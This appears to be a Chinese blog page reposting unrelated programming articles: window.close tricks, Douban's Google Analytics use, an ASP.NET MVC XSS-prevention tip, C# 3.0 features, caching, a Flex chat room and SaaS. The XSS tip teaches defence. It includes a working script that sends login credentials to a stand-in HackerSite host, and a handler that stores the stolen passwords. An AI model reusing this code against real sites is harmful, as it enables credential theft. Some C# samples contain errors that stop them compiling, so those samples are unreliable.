[JavaScript]window.close关闭窗口,不弹出系统提示,直接关闭

mikel阅读(689)

当我们用这种方法:Response.Write("<script>window.close()</script>")
总是提示什么:你查看的网页试图关闭的提示
如何去掉提示,直接关闭窗体?
可以用以下方法:
Response.Write("<script>window.opener=null;window.close()</script>")
只有ie6才支持.
opener只要设为任何值都可以,不会出现提示

如果是通过子窗体关闭父窗体时怎么做呢
子窗体(弹出窗体):
同理可得:
Response.Write("<script>window.opener.top.opener=null;window.opener.top.close()</script>")

[SEO]浅析豆瓣的 Google Analytics 应用

mikel阅读(882)

大家好,我是owen,主要从事 Online marketing 方面的工作,平时主要专注于 SEM 和 Web analytics。这次很荣幸能够应 Denis 之邀,在我爱水煮鱼抛砖引玉,发表 Web analytics 方面的文章,希望以后能够在这里,与大家多多交流这方面的知识。今天首先给大家简单谈谈豆瓣网怎么应用 Google Analytics。

豆瓣 Google Analytics 代码加载模式

豆瓣从今年开始也加入 Google Analytics 的统计阵营。让我们通过它加载的 Google Analytics 源码,简单分析一下它都是怎么应用的。

我们先从豆瓣的源码来看看它的Google Analytics统计代码

豆瓣 Google Analytics 代码
豆瓣 Google Analytics 代码

我们知道一般默认的 Google Analytics代码如下:

默认  Google Analytics 统计代码
默认 Google Analytics 统计代码

两相对比,我们就会发现豆瓣加载 ga.js 的方式与默认的方式有些不太一样,由于豆瓣并没有采用 https 加密访问,所以撇弃了默认的ga.js加载方式。

默认的统计函数,pageTracker 也被豆瓣改成了 _ga ,这个只是名称定义上的区别,并没有什么实质的改变。豆瓣的主要应用是下面两个函数:

使用 _ga._addOrganic 识别非主流搜索引擎

再来看豆瓣比默认 Google Analytics 代码增加的部分,那就是多了数个 _ga._addOrganic ,这是 Google Analytics 添加自定义搜索引擎的代码。尽管 Google Analytics 对于主流的搜索引擎都能自动识别,但毕竟能识别的是国外的主流搜索引擎,在国内,像搜狐的 Sogou,QQ 的 soso,网易的有道等搜索引擎,都不能被 Google Analytics 正确识别,而被当作推荐来源。这时候我们就可以利用_addOrganic 参数来识别这些非主流搜索引擎,如豆瓣的做法。

使用 _addIgnoredOrganic 忽略关键字

除了添加自定义搜索引擎,豆瓣在最后还添加了如下这些代码:

_ga._addIgnoredOrganic("豆瓣");
_ga._addIgnoredOrganic("douban");
_ga._addIgnoredOrganic("豆瓣网");
_ga._addIgnoredOrganic("www.douban.com");

这些代码用来把引号中的关键词从搜索引擎的关键词报告中排除,而当成直接点击量来源。

为什么要这么做?因为一个知名的大网站,来自这些品牌词的搜索流量都非常大,常常是排在前几位的搜索关键词来源,而这通常是因为搜索引擎养成现在的 人都懒得记网址,直接搜索品牌名来记住域名。这些品牌词对于网站的关键词来源分析并没有很直接的帮助,所以在来自品牌词的流量很大的情况下,可以直接把这 些关键词识别成直接点击量来源。

关于自定义 Google Analytics 搜索引擎排除特定关键词为直接点击量来源的语法,可以参考 Google Code 上关于这方面的详细介绍。

通过 _setVar 识别用户

当我们登录豆瓣后,再来分析豆瓣的源码,会发现多了一个ga._setVar(”xxxx”)的 Google Analytics 参数。

豆瓣使用 Google Analytics 的._setVar参数来跟踪登录用户行为
豆瓣使用 Google Analytics 的._setVar参数来跟踪登录用户行为

_setVar() 函数是 Google Analytics 的用户定义函数,主要用于对特定来源的用户行为进行分类,例如可以对登录浏览的用户设置一个数值,然后在 Google Analytics 后台的访问者/用户定义 中查看其浏览属性。

Google Analytics 访问者/用户定义报告
Google Analytics 访问者/用户定义报告

分析豆瓣的源码可以知道,豆瓣对每一个登录后的用户,都赋以一个专门的 id 值,这样可以在用户定义报告里,看到整体的登录用户访问行为,乃至每个登录用户的浏览行为。通过这样设定后,豆瓣便可以轻易获取高忠诚度访问用户的访问行为。关于_setVar()的更多说明,请参阅 Google Analytics的技术文档

如何根据访问者在我的网站上访问的页面或在表单上做出的响应对其进行分类?在 Google Analytics 官方的帮助文件,也给出了另外一个应用案例

值得注意的是,原来在设置 _setVar() 函数的时候,整个网站的跳出率会出现重大的偏差,不过在最近的google analytics官方博客,指出该bug已经修正,客户在进行这方面设置的时候,还是要注意对比前后数据是否有重大偏差。

通过 _trackPageview 区分不同类型的评论

豆瓣上的书评,影评和乐评可以说是豆瓣网站的核心价值所在。一般评论的URL格式如下:

豆瓣上单条评论的URL
豆瓣上单条评论的URL

当我们查看该页面的网页源代码时,会发现有趣的现象:

豆瓣单条评论页的 Google Analytics 代码
豆瓣单条评论页的 Google Analytics 代码

我们知道,一般 Google Analytics 的_trackPageview() 括弧中的参数是留空的, Google Analytics 会自动捕获网址的 URL 参数,如果在 _trackPageview()括弧中输入特定的数值,那么在 Google Analytics 的报表中,URL 将是我们指定的参数,而不再是我们在地址栏看到的 URL。

如上面的例子,我们在 Google Analytics 中看到的URL将是/book/review/1946018/,而不再是我们在浏览器地址栏看到的/review/1946018/

当所在频道是电影或者音乐时,_trackPageview() 中的参数将根据所在频道的属性,变为/movie/xxxxx 或者 /music/xxxxx的数值。

豆瓣通过对的参数进行重新指定,主要有以下的好处:

保证了用户和搜索引擎看到的 URL 比较简短,达到 URL 对用户友好和对搜索引擎友好的目的;而在 Google Analytics 报告中,通过 内容/内容细目/ 报告,又能了解到各个频道总的浏览情况。

在GA的内容细目报告中,将会多出 /book/ /music/ /movie/ 这样的文件夹来,总而获得各个频道的合计浏览数据。

而如果只是使用默认 _trackPageview(),你将只能得到所有评论页面的浏览数据,而无法得到细分的各个频道的浏览数据。

关于_trackPageview()的具体的使用方法可参照 Google Code 的说明

注意事项:使用 _trackPageview() 参数重新指定 URL 之后,网站覆盖图的数据将受到影响。可参阅 Google Analytics 的官方帮助文件

除了豆瓣使用 _trackPageview() 来对URL进行重写,大众点评网也采用了类似的做法(应该是比豆瓣更早采用。。。因为是我在点评网任职时候实验的做法;那时候豆瓣还没有使用 Google Analytis 统计代码,呵呵),有兴趣的同学可以自己去研究点评的 Google Analytis 代码。

作者:owen
原文链接:浅析豆瓣的 Google Analytics 应用

[MVC]使用Html.Encode避免JavaScript注入攻击

mikel阅读(964)

原文地址:http://weblogs.asp.net/stephenwalther/archive/2008/06/23/asp-net-mvc-tip-7-prevent-javascript-injection-attacks-with-html-encode.aspx

摘要:在这个Tip中,你将了解到JavaScript注入攻击可能会比你想象的更加严重。Stephen Walther展示了如何使用JavaScript注入攻击来在一个ASP.NET MVC站点上干些大大的坏事,并解释了如何通过一种简单的方式来防止这种攻击。

当你从站点的浏览者那里收集表单数据,并将表单数据展示给其他浏览者时,你应该对表单数据进行编码。否则,你的站点大门将为JavaScript注入攻击打开。

例如,如果你创建了一个论坛,在将消息显示到Web页面之前,请确保对其进行了编码。如果你没有对消息进行编码,某些人可能会发表一个带JavaScript的消息,做一件大大的坏事。 

在这个Tip中,我将强调黑客可以利用JavaScript注入攻击 做非常严重的事情。让我惊奇的是,关心防止JavaScript注入攻击的Web开发者少之又少。这里的问题在于很多开发者并没有完全意识到这其中的危 险。他们认为使用JavaScript注入攻击最坏的情况也就是破坏页面结构。在这个Tip中,我将向你展示黑客如何利用JavaScript注入攻击来 盗取网站用户的用户名和密码。本文的要点是通过恐吓来教会你做正确的事情。

据Wikipedia称,JavaScript注入攻击已经“超越缓冲区溢出,成为最常见的公共安全弱点。”更恐怖的是,据Wikipedia称,70%的网站向JavaScript注入攻击敞开着(http://en.wikipedia.org/wiki/Cross-site_scripting)。因此,本文读者,你们当中的70%正在犯懒并危害着你们网站的用户。羞羞!

如何通过JavaScript盗取另一个用户的密码

这里介绍一下黑客如何利用JavaScript注入攻击做大大的坏事。假设你建立了一个Customer Survey应用程序,使用的是ASP.NET MVC。

Customer Survey应用程序是一个超级简单的应用程序。用户通过在一个表单中填写内容,可以对一个产品进行反馈。客户可以查看之前所有客户留下的反馈。

图1展示了反馈表单。

图1 – 反馈表单

注意反馈表单页面的顶部还包含了一个登录表单。Customer Survey应用程序将登录表单放到了母版页中(Web站点的常见场景)。

由于反馈表单显示了其它客户留下的反馈,该页面将对JavaScript注入攻击敞开大门。那些心怀恶意的黑客只需在反馈表单中敲入下面的代码:

<script src=http://HackerSite.com/EvilScript.js></script>

当该文本重新显示在反馈表单页中时,<script>标签会调用一个位于黑客的站点上的JavaScript脚本。该脚本如清单1所示。

清单1 – EvilScript.js

 1if (window.attachEvent)
 2     document.forms[0].attachEvent('onsubmit', fn);
 3 
 4function fn(e)
 5{
 6     var userName = document.getElementById("userName").value;
 7     var password = document.getElementById("password").value;
 8     var d = new Date();
 9     var url = "HackerSite/EvilHandler.ashx?userName=" + userName 
10        + "&password=" + password + "&d=" + d.valueOf();
11 
12     var script = document.createElement("script");
13     script.type = 'text/javascript';
14     script.src = url;
15     document.body.appendChild( script ); 
16}

清单1中的脚本将一个事件处理器附加到了登录表单的form submit事件上。当登录表单提交时,会执行fn() JavaScript函数。该函数截取了表单中的userName和password字段。接下来,该脚本向页面中动态注入了一 个<script>标签,并将userName和password传递给一个名为EvilHandler.ashx的(可能是远程的)处理 器。

EvilHandler的代码如清单2所示。EvilHandler简单地从查询字符串中拿到了用户名和密码,并存放在数据库中。

清单2 – EvilHandler.ashx

 1using System;
 2using System.Collections;
 3using System.Data;
 4using System.Linq;
 5using System.Web;
 6using System.Web.Services;
 7using System.Web.Services.Protocols;
 8using System.Xml.Linq;
 9 
10namespace CustomerSurvey.HackerSite
11{
12     [WebService(Namespace = "http://tempuri.org/")]
13     [WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
14     public class EvilHandler : IHttpHandler
15     {
16 
17         public void ProcessRequest(HttpContext context)
18         {
19             // Get user name and password from URL
20             string userName = context.Request.QueryString["userName"];
21             string password = context.Request.QueryString["password"];
22             
23             // Store in database
24             HackerDataContext db = new HackerDataContext();
25             StolenPassword pwd = new StolenPassword();
26             pwd.userName = userName;
27             pwd.password = password;
28             db.StolenPasswords.InsertOnSubmit(pwd);
29             db.SubmitChanges();
30         }

31 
32         public bool IsReusable
33         {
34             get
35             {
36                 return false;
37             }

38         }

39     }

40}

假设这个Customer Feedback表单出现在一个银行网站中。在这种情况下,黑客现在就能访问任何人的帐户信息了,并能把任何人的钱转到位于开曼群岛的帐户中。很不错,才需要这么几行代码。

ASP.NET MVC不支持请求验证

这种危险在ASP.NET MVC应用程序中更为敏感一些。在ASP.NET Web Forms应用程序中——和ASP.NET MVC不同——你可以依赖一项称作请求验证(Request Validation)的特性。如果从一个页面提交的表单数据中含有看起来不安全的文字,请求验证就能检测到。如果你提交的表单数据中包含诸如尖括号这样 的文本,就会导致异常的抛出。

要知道ASP.NET MVC并不适用请求验证。在ASP.NET MVC应用程序中,你必须完全由自己来防止JavaScript注入攻击。

防止JavaScript注入攻击

防止JavaScript注入攻击其实很简单。确保每当你在视图中显示从用户那里获取的表单数据时都调用了Html.Encode()即可。

例如,下面是Index视图中用于显示用户反馈的部分代码:

 1<h1>Customer Feedback</h1>
 2<ul>
 3<% foreach (Survey survey in ViewData.Model)
 4   { 
%>
 5   <li>
 6    <%= survey.EntryDate.ToShortDateString() %>
 7    &mdash;
 8    <%= survey.Feedback %>
 9   </li>
10<% } %>
11</ul>

该代码包含一个循环,遍历了Suvey实体。为每个Survey实体显示了Feedback和EntryDate属性。

为了防止JavaScript注入攻击,你需要使用Html.Encode()辅助方法。下面是循环代码的正确编写方式:

 1<h1>Customer Feedback</h1>
 2<ul>
 3<% foreach (Survey survey in ViewData.Model)
 4    { 
%>
 5    <li>
 6     <%= survey.EntryDate.ToShortDateString() %>
 7     &mdash;
 8     <%= Html.Encode(survey.Feedback) %>
 9    </li>
10<% } %>
11</ul>

哪些内容需要编码

注意在前面的代码中,我并没有对EntryDate属性进行编码。在向页面显示EntryDate属性时无需进行编码的原因有二。

首先,EntryDate并不是由网站的访问者输入的。EntryDate属性的值是由代码生成的。黑客无法在这里注入危险代码。

假设的确是由访问者来输入EntryDate属性。由于EntryDate在SQL Server数据库中是作为DateTime类型存放的,黑客也不可能向其中注入恶意代码。因此,你无须担心是否需要对该属性进行编码。

通常,任何时候你在接受用户输入的文本内容时都要注意JavaScript注入攻击。例如,要小心地显示用户名。如果你允许用户创建属于他们自己的用户名,则用户可能偷偷地将一个恶意JavaScript字符串放在他们的用户名中(或一个指向色情图片的img标签)。

另外,小心超链接。很多blog应用程序允许匿名用户在发表评论时填写他们的网站链接。黑客可能会向链接中嵌入而已JavaScript。下面是一个简单的例子:

<href="javascript:alert('Something Evil!')">Mr. Hacker</a>

当你单击该链接时,JavaScript就会执行。在这种情况下,没有什么恶劣的事发生。但是,你可能执行的是窃取表单数据或cookies数据的代码。

验证、会话状态和HttpOnly Cookies

你可以利用JavaScript注入攻击来窃取Cookies。例如,你将用户的信用卡号存放在一个Cookies中,然后你可以向页面中注入JavaScript,使用document.cookie DOM属性来截取信用卡号。

ASP.NET Forms Authentication和ASP.NET Session State都使用Cookie。Forms Authentication依赖于一个存放在名为.ASPXAUTH的Cookie中的验证票据(Ticket)。Session State使用一个名为ASP.NET_SessionId的Cookie。如果可以窃取这些Cookies,你就能模仿其他网站用户并且去用户的会话状 态信息。

幸运的是,Microsoft对此采取了预防措施,使得很难窃取 Forms Authentication和Session State Cookies。它们的Cookies都是HttpOnly Cookie。HttpOnly Cookie是一种特殊的Cookie,它不能通过客户端代码读取。你只能在Web服务器上读取HttpOnly Cookie。

Microsoft Internet Explorer、Firefox和Opera都支持HttpOnly Cookies。Safari和一些比较老的浏览器——很不幸——不支持。因此,你仍需要注意为所有用户输入数据进行HTML编码,以避免黑客盗取 Forms Authentication和Session State Cookie。

小结

该Tip的目的是通过恐吓教会你做正确的事情。正如在简介中提到那样,JavaScript注入攻击是最常见的安全攻击类型。很多开发者并没有花费太多时间关心它。希望该Tip能够让你注意,每当在MVC视图中显示从用户那里收集来得数据时,都要进行编码。

你可以通过点击下面的链接来尝试本文讨论的代码。当你输入用户名和密码后,单击登录表单中的按钮,用户名和密码会出现在StolenPasswords数据库表中。
此处下载源代码:http://weblogs.asp.net/blogs/stephenwalther/Downloads/Tip7/Tip7.zip

[C#]初探C#3.0

mikel阅读(704)

C#3.0已经推出好一段时间了,由于种种原因,一直没有去学习,这两天在园子中看到老赵的拯救C# 2.0,但是我们真做的到吗?。里面提到了些C#3.0的新特性和优势。勾起了我对3.0的兴趣,初探学习一下,分享给新手。

在C#2.0中,微软给我们带来了一些新的特性,例如泛型,匿名委托等。然而,这些新的特性多多少少会给人一种从别的语言中“抄”来的感觉(例如泛 型类似C++的模板,一些特性类似Java中的一些东西)。但是在C#3.0中,微软给我带来的一些新特性可能是以前所有开发语言都没有的特性。这无疑大 大的体现了C#3.0在开发语言中强大的优势。

Lambda表达式

Lambda 表达式是一个匿名函数,它可以包含表达式和语句,并且可用于创建委托或表达式目录树类型。所有 Lambda 表达式都使用 Lambda 运算符 =>。关于Lambda更详细的讲解大家可以参看 MSDN。里面说的很清楚。

这里简单举个例子来说明Lambda的好处。Lambda在对匿名委托的处理上提供了更清楚的实施方式。例如在2.0中。我们可以写这样的代码:


public class Example
{
   
public static void Demo(System.Windows.Controls.TextBlock outputBlock)
   {
      Func
<stringstring> convert = delegate(string s)
         { 
return s.ToUpper(); };
      
string name = "Dakota";
      outputBlock.Text 
+= convert(name) + "\n";
   }
}

在 C# 中将 Func<(Of <(T, TResult>)>) 委托与匿名方法一起使用。

在3.0中,我们可以使用Lambda来更清楚的进行参数的传递:


public class Example
{
   
public static void Demo(System.Windows.Controls.TextBlock outputBlock)
   {
      Func
<stringstring> convert = s => s.ToUpper();
      
string name = "Dakota";
      outputBlock.Text 
+= convert(name) + "\n";
   }
}

Lambda 表达式的基础类型是泛型 Func 委托之一。这样能以参数形式传递 lambda 表达式,而不用显式将其分配给委托。尤其是,因为 System.Linq 命名空间中许多类型方法具有 Func<(Of <(T, TResult>)>) 参数,因此可以给这些方法传递 lambda 表达式,而不用显式实例化 Func<(Of <(T, TResult>)>) 委托。这样可以使我们的代码更加简洁,逻辑上更易于理解。 

对象的初始化

在C#中,对象的初始化也做了一些改进。一个新的功能就是提供了更方便的语法规则来声明变量的值。

假如我们声明一个Student对象:


public class Student
{
    
private string _stuName;
    
private string _stuAge;
    
private int _stuClass;
    
public Student() { }
    
public string StuName
    {
        
get { return _stuName; }
        
set { _stuName = value; }
    }
    
public string StuAge
    {
        
get { return _stuAge; }
        
set { _stuAge = value; }
    }
    
public int StuClass
    {
        
get { return _stuClass; }
        
set { _stuClass = value; }
    }
}

在C#2.0中,我们是这样声明变量并赋值的:

Student stu = new Student();
        stu.StuName 
= "Brian";
        stu.StuAge 
= "21";
        stu.StuClass 
= "1班";

而在C#3.0中,我们可以这样初始化对象:

Student stu2 = new Student 
        {
            StuName 
= "Brian",
            StuAge 
= "21",
            StuClass 
= "1班"
        };

从代码中不难看出,C#3.0给我们提供了很方便得方式来进行对象的初始化工作。

查询

这个想必大家都应该有所耳闻,那就是鼎鼎大名的Linq。这是C#3.0中最独特好用的新特性之一。Linq改变了我们写数据应用程序的方式,先 前,开发人员需要考虑并编写不用的代码来处理不同数据源中的数据(SQL Server ,XML ,Memory….)。LINQ很好的帮我们解决了这个烦人的问题。同时借助Lambda,我们可以更方便准确的查询我们想要的数据。

使用Linq简单的数据查询例子:


private void BindGridView(string criteria)
    {
        
string strConn = ConfigurationManager.ConnectionStrings["connstr"].ConnectionString;
        NorthwindDb db 
= new NorthwindDb(strConn);
        IEnumerable
<Employee> results;
        
if (criteria == string.Empty)
        {
            results
=db.Employee.ToArray();
        }
        
else
        {
            results 
= (from c in db.Employee
                          
where c.FirstName.Contains(criteria)
                          select c).ToArray();
            
        }
        GridView1.DataSource 
= results;
        GridView1.DataBind();
    }

 

变量声明

这里要说的是var。var是C#3.0中提供的用于声明变量的关键字,开发人员可以不考虑变量的类型就可以对变量进行声明(这一点用法非常类似JavaScript)。但是两者还是有些差异。

相同点:用var来声明任何类型的局部变量。

不同点:它仅仅负责告诉编译器,该变量需要根据初始化表达式来推断变量的类型,而且只能是局部变量。

我们可以这样声明变量:

var i= 10
var name 
= "edisundong"
var numbers 
= new int[] { 123 }; 

var仅仅是个关键字,它并不是C#3.0中的一种新的类型,而是负责告诉编译器,该变量需要根据初始化表达式来推断变量的类型,上面的语句相当于

int i= 10
string name = " edisundong "
int[] numbers = new int[] { 123 }; 

这里还需要注意几点:

1.在声明时必须同时赋值。

2.在使用var声明一个局部变量后,他仍然具备强类型。

var integer = 10;
integer = " edisundong ";
编译时会报Cannot implicitly convert type string to int错误。

3. 初始化器表达式的编译期类型不能够是空(null)类型。

4. var的声明仅限于局部变量

扩展方法

以前如果我们想扩展一个类的功能必须直接源自于它并且从学其中的方法,在C#3.0中,介绍了一种很快捷的扩展功能的方法。


public static class StudentExtensionMethods
    {
        
public StudentExtensionMethods()
        {
            
//
            
//TODO: 在此处添加构造函数逻辑
            
//
        }
        
public static string GetStudentInformation(this Student stu)
        {
            
return string.Format("Name: {0} {1} Age: {2}", stu.StuName,
            stu.StuAge, stu.StuClass);
        }
    }

定义一个类,其中定义一个方法,注意:这个类和方法都是static的,并且方法的参数是类Student。这样,Student类就可以扩展GetStudentInformation方法:


Student stu2 = new Student
            {
                StuName 
= "Brian",
                StuAge 
= "12",
                StuClass 
= "1班"
            };
            Console.WriteLine(stu2.GetPersonInformation());

 

小结:初学了下C#3.0,感觉带来了不少惊喜,其中有很多新的特性是以前所未知的。C#3.0的新特性应该还不止这些,还需继续学习研究。

[ASP.NET]系统缓存全解析

mikel阅读(715)

    有时候总听到网友说网站运行好慢,不知如何是好;有时候也总见到一些朋友写的网站功能看起来非常好,但访问性能却极其的差。没有“勤俭节约”的意识,势必会造成“铺张浪费”。如何应对这种情况,充分利用系统缓存则是首要之道。

     系统缓存有什么好处呢?举个简单的例子,你想通过网页查询某些数据,而这些数据并非实时变化,或者变化的时间是有期限的。例如查询一些历史数据。那么每个用户每次查的数据都是一样的。如果不设置缓存,ASP.NET也会根据每个用户的请求重复查询n次,这就增加了不必要的开销。所以,可能的情况下尽量使用缓存,从内存中返回数据的速度始终比去数据库查的速度快,因而可以大大提供应用程序的性能。毕竟现在内存非常便宜,用空间换取时间效率应该是非常划算的。尤其是对耗时比较长的、需要建立网络链接的数据库查询操作等。

缓存功能是大型网站设计一个很重要的部分。由数据库驱动的Web应用程序,如果需要改善其性能,最好的方法是使用缓存功能。

 

       系统缓存全解析文章索引

15.4.1      缓存的分类

     从分布上来看,我们可以概括为客户端缓存和服务器端缓存。如图15-1所示:

 

15-1  缓存的分类

 

客户端缓存—— 这点大家都有直观的印象。比如你去一个新的网站,第一次可能要花一阵子时间才能载入整个页面。而以后再去呢,时间就会大大的缩短,原因就在于这个客户端缓存。现在的浏览器都比较智能,它会在客户机器的硬盘上保留许多静态的文件,比如各种gif,jpeg文件等等。等以后再去的时候,它会尽量使用本地缓存里面的文件。只有服务器端的文件更新了,或是缓存里面的文件过期了,它才会再次从服务器端下载这些东西。很多时候是IE替我们做了这件事情。

 

服务器端缓存—— 有些东西没法或是不宜在客户端缓存,那么我们只好在服务器端想想办法了。服务器端缓存从性质上看,又可以分为两种。

(1)静态文件缓存

    好多页面是静态的,很少改动,那么这种文件最适于作静态缓存。现在的IIS 6.0这部分内容是直接存放在Kernel的内存中,由HTTP.SYS直接管理。由于它在Kernel Space,所以它的性能非常的高。用户的请求如果在缓存里面,那么HTTP.SYS直接将内容发送到network driver上去,不需要像以前那样从IISUser space的内存copyKernel中,然后再发送到TCP/IP stack上。Kernel level cache几乎是现在高性能Web server的一个必不可少的特性。

(2)动态缓存

     动态缓存是比较有难度的。因为你在缓存的时候要时刻注意一个问题,那就是缓存的内容是不是已经过时了。因为内容过时了可能会有很严重的后果。比如网上买卖 股票的网站。你给别人提供的价格是过时的,那人家非砍了你不可。缓存如何发现自己是不是过时就是一个非常复杂的问题。

 

    在ASP.NET中,常见的动态缓存主要有以下几种手段:

  Ø  传统缓存方式

  Ø  页面输出缓存

  Ø  页面局部缓存。

  Ø  利用.NET提供的System.Web.Caching 缓存。

  Ø  缓存依赖。

 

15.4.2  传统缓存方式

比如将可重复利用的东西放到Application或是Session中去保存。

 Session["Style"] = val;
 Application["Count"] = 0;

 

 

选自《亮剑.NET:.NET深入体验与实战精要》15

[Flex]FluorineFx + Flex视频聊天室案例开发

mikel阅读(657)

 本文将使用FluorineFx和Flex结合介绍一个简单的视频聊天室案例开发,希望通过此篇和大家交流FluorineFx和Flex的相关 技术,同时也希望本篇可以帮助到需要使用FluorineFx做及时应用开发的新手朋友。首先列举下本篇中所涉及到的开发环境和相关技术以及简单的需求定 义:

      1. Microsoft Visual Studio 2008(VS SP1)+.NET Framework 3.5(SP1)

      2. FluorineFx v1.0.0.15

      3. Adobe Flex Builder 3 + Flex SDK 3.2

      4. Microsoft Office Access 2003

      5. ADO.NET , Linq…..

 

      本篇的案例的功能需求定义如下:

      1. 用户注册/登录聊天室

      2. 成功登录聊天室后通过选择在线用户进行视频连接完成视频和文字聊天(一对一私聊)

      3. 提供小喇叭功能,实现全服务器发送消息(一对多,一人发送全聊天室的用户都可见)

      4. 提供聊天表情选择窗口,实现聊天表情的发送。

 

      1、服务器端开发

            本篇主要介绍了使用FluorineFx所提供的ApplicationAdapter来建立自己的及时通信应用Adapter,提供及时通信、实况流服务,以及通过远程共享对象管理在线用户列表的功能。

            详细请访问:FluorineFx + Flex视频聊天室案例开发—-服务器端

 

      2、客户端开发

            本篇主要介绍了使用Flex开发聊天室客户端,实现了用户注册、登录、在线视频+语音+文字聊天、发送小喇叭等功能。

            详细请访问:FluorineFx + Flex视频聊天室案例开发—-客户端

 

      3、应用程序部署

             本篇简单的介绍了FluorineFx程序的部署。

            详细请访问:FluorineFx + Flex视频聊天室案例开发—-应用部署篇

 

      本案例并不完善,还有许多地方都做得不到位。比如用户上线下线广播功能也没完成(内部我已经提供了接口和方法,只是没有调用而已),有兴趣的朋友可以下载源代码去参考或帮忙完成这些功能。

 

      本案例源代码下载:FluorineFx+Flex视频聊天室源代码

 

版权说明

  本文属原创文章,欢迎转载,其版权归作者和博客园共有。  

  作      者:Beniao

 文章出处:http://beniao.cnblogs.com/  或  http://www.cnblogs.com/

 

[Saas]SAAS(软件即服务)的时代即将来临吗?

mikel阅读(843)

在详细展开本文讨论之前,我们先来介绍两家公司:
1、37signals
http://www.37signals.com/
只要是RoR的fans没有不知道37signals的。这是一家位于芝加哥的创业型小公司,公司小到只有8个员工,但在业界享有盛誉。在芝加哥 办公室上班的有4个人,其余4个人分别在纽约,波特兰等城市soho办公。但是37signals公司基于web的小型商业软件产品的注册用户却超过了 100万。下图是该公司全部员工的合影(RoR作者DHH是左边稍靠后的那个人,貌似姿势挺猥琐):

37signals公司出版了一本名为《Getting Real》的书(中文名称《把握现实》),充分阐述了基于互联网web2.0商业创业的经验,可谓web2.0创业的圣经。
美国时代周刊记者采访了37signals公司,专门写了一篇稿件《Small Is Essential》,揭示了该公司的主要商业模式。
37signals公司主要提供基于互联网的小型商业软件租用服务:有提供项目管理和团队写作的BaseCamp(这也是导致RoR诞生的产 品);有小型客户关系管理系统Highrise;有即时团队在线交流系统Campfire;有信息组织,日历,工作安排软件Backpack等等。
用户在线注册37signals的系统,在线使用,每个月交纳12美元到149美元不等的月租费。37signals的在线软件租用服务对于小型商业公司具有很大的吸引力,功能好用,操作简单,价格便宜,无需维护,注册即可以使用。
2、salesforce
http://www.salesforce.com/
salesforce是业界赫赫有名的一家在线CRM厂商,其创始人来自前Oracle公司的高管。公司在2004年就上市了。 salesforce这两年处于一个飞速发展的阶段:2004年7月,Salesforce刚上市时,股票交易价为11美元。到2006年,它的股价到达 在40美元。成立7年多的Salesforce.com在全世界的2.48万个公司拥有超过50.1万个用户,并以每年80%的速度增长,客户满意度高达 97%。Salesforce在2006年二季度的收益从7190万美元增加到1.181亿美元左右。如今salesforce已经进入中国,提供在线 CRM系统。提供每人每年888元人民币软件租用服务费。
看完上面两家公司的介绍,你一定会说,他们做的不就是ASP(应用服务提供商)吗?是的,从某种程度上来说,他们就是ASP。其实ASP早就伴随第一次互联网浪潮的时候已经唱了一出狼来了的故事,但是现在ASP会卷土重来吗?让我们再来看看大公司的反映:
1、Google Apps
http://www.google.com/a/
不用多说了,Google Apps是google将其强大的互联网服务伸向企业应用领域的重要尝试之一。
2、Microsoft
Microsoft是典型的传统套装软件生产商,但是不意味着Microsoft不重视SAAS领域。附件是Microsoft的一系列关于SAAS文章当中的一篇。
Bill Gates今年访问中国之行,其中有一项重要的成果,就是和阿里巴巴达成的合作的协议。而这项合作的内容就是和阿里软件公司共同构建基于微软技术的SAAS平台战略。这项合作的意义可以说相当深远。
关于SAAS更多深入探讨,推荐大家看一下这篇文章:
http://www.donews.com/Content/200611/f4c23d1d6dc745f483df8e787ca0251d.shtm
SAAS的商业模式相比传统的套装软件有什么优势呢?对于软件供应商来说:
1、短开发周期,低成本,快速用户反馈
看看37signals就知道了,不再需要漫长的开发周期,可以尽快提供用户使用,搜集用户反馈,大大压缩软件开发成本,降低软件的市场风险,而且可以提高软件的市场需求适应程度的敏捷性。
2、相比卖套装软件来说,无需建设庞大的销售渠道,可以充分利用互联网长尾效应
这是一个伟大的进步,诞生于互联网的长尾效应真正要在企业应用领域发挥作用了。看看37signals和salesforce,数量庞大的中小企业购买他们的在线企业服务。这些中小企业在传统的软件营销渠道来说,都是处于被放弃的状态。
对于传统套装软件的销售来说,不管是Oracle,SAP还是RedHat,他们往往集中销售资源去攻克传统大客户,例如四大银行,电信,创造公 司超过一半的销售利润,另外通过合作伙伴建设销售渠道以分销的方式面向中小型客户。越是小型客户,越得不到重视,长尾末端的客户完全被放弃。
根据长尾效应我们知道,传统销售被放弃的那条长长的尾巴加起来其总市场价值等价于传统销售的市场价值。这也是Google赖以创造惊人利润的主要 原因。但是传统销售资源的有限性不允许他们对于尾巴用户投入资源。但是SAAS这种在线电子商务解除了资源限制。可以让长尾充分发挥了。
3、软件技术支持的成本大幅度降低
看看37signals,根本没有技术支持人员。互联网AJAX技术的兴起,使得基于浏览器的应用完全可以轻松处理复杂的企业应用操作。集中式的服务器使得软件在线升级几乎0成本。你还需要庞大的call center吗?你还需要庞大的技术工程师队伍吗?
对于客户来说,SAAS也带来了很多优势:
1、购买软件的风险大大降低了
你不用再担心花几十万购买的套装软件根本不合适,或者花几十万外包的项目开发出来的软件根本不符合需求。简单的注册流程之后,立刻开始使用,在试用期你就知道这个软件你应该不应该花钱购买了。
2、购买软件的成本大大降低了
不需要一次性付款,每个月按功能,按注册人数付费,就像分期付款一样,不会有浪费。如果你什么时候觉得软件不合适了,随时可以中止付费。
3、立即可用的软件
你不需要花很多时间去考察,去开发,去部署,当你需要,你就可以立刻使用,为你的公司争取了宝贵的时间。
但是SAAS没有一点问题吗?ASP是怎么倒下的?如果我们提供SAAS服务,那么会面临怎样的问题呢?
1、公司的信誉度的问题
如果你的公司明天就会倒闭的话,哪个客户敢用你的服务?如果你不是一个行业知名的大公司的话,很多客户不敢购买和使用你的服务,把自己公司业务押在你的身上。
2、安全和保密的问题
你怎么保证客户的资料不被外泄?你怎么保证你不会利用客户资料进行非法的勾当?客户为什么要信任你?
3、网络服务质量的问题
中国的电信运营商的网络安全保护水平实在令人担忧,如果你提供互联网服务,因为网络问题导致网站不能访问,网民最多诅咒几句,如果是你的客户把自己公司业务放在你的服务器上面,那么倒霉的就是客户了。
所以SAAS其实是很有高的门槛了,因为你必须有知名的品牌来让客户信任你,你必须有强大的资源来提供安全和可靠的服务。
